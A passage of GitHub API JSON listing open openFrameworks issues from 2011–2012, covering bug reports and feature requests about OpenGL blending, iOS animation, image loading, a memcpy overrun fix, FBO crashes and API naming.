charset=utf-8')] [{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"html_url":"https://github.com/openframeworks/openFrameworks/issues/744","assignee":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1641198,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"html_url":"https://github.com/openframeworks/openFrameworks/issues/743","assignee":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":183796},"id":1639020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"html_url":"https://github.com/openframeworks/openFrameworks/issues/738","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1628082,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"html_url":"https://github.com/openframeworks/openFrameworks/issues/730","assignee":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1586262,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"html_url":"https://github.com/openframeworks/openFrameworks/issues/728","assignee":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1569364,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"html_url":"https://github.com/openframeworks/openFrameworks/issues/727","assignee":null,"title":"OSX 10.7 Gamma Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1566286,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"html_url":"https://github.com/openframeworks/openFrameworks/issues/721","assignee":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497330,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"html_url":"https://github.com/openframeworks/openFrameworks/issues/720","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497291,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"html_url":"https://github.com/openframeworks/openFrameworks/issues/719","assignee":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1459353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"html_url":"https://github.com/openframeworks/openFrameworks/issues/717","assignee":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1458979,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"html_url":"https://github.com/openframeworks/openFrameworks/issues/716","assignee":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1458044,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"html_url":"https://github.com/openframeworks/openFrameworks/issues/711","assignee":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":886012},"id":1414013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"html_url":"https://github.com/openframeworks/openFrameworks/issues/710","assignee":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"closed_at":null,"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1407813,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"html_url":"https://github.com/openframeworks/openFrameworks/issues/702","assignee":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1359729,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"html_url":"https://github.com/openframeworks/openFrameworks/issues/701","assignee":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1358688,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"html_url":"https://github.com/openframeworks/openFrameworks/issues/700","assignee":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1349012,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":699,"html_url":"https://github.com/openframeworks/openFrameworks/issues/699","assignee":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1343463,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":698,"html_url":"https://github.com/openframeworks/openFrameworks/issues/698","assignee":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1339116,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"html_url":"https://github.com/openframeworks/openFrameworks/issues/697","assignee":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1334657,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":685,"html_url":"https://github.com/openframeworks/openFrameworks/issues/685","assignee":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks 